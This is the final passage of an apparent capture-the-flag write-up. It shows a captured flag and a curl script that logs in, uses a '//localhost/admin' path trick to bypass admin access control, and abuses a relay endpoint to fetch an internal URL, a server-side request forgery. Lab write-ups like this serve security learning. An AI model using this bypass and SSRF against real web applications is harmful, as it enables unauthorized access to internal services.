`UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}`

---

## One-Shot Reproduction

I imporovised a one-shot script to do all the steps in one go (I used Burp for the that but here is a curl version)

```bash
# 1) Login
curl -s -c ctf_cookie.txt -X POST "http://194.102.62.175:27457/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=AlexGoodwin&password=Pine123" > /dev/null

# 2) Get relay_auth through admin bypass path
curl -s --path-as-is -b ctf_cookie.txt -c ctf_cookie.txt \
  "http://194.102.62.175:27457//localhost/admin" > /dev/null

# 3) Pull flag from internal node
curl -s -b ctf_cookie.txt -X POST "http://194.102.62.175:27457/admin/relay" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "inventory_node=http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag"
```
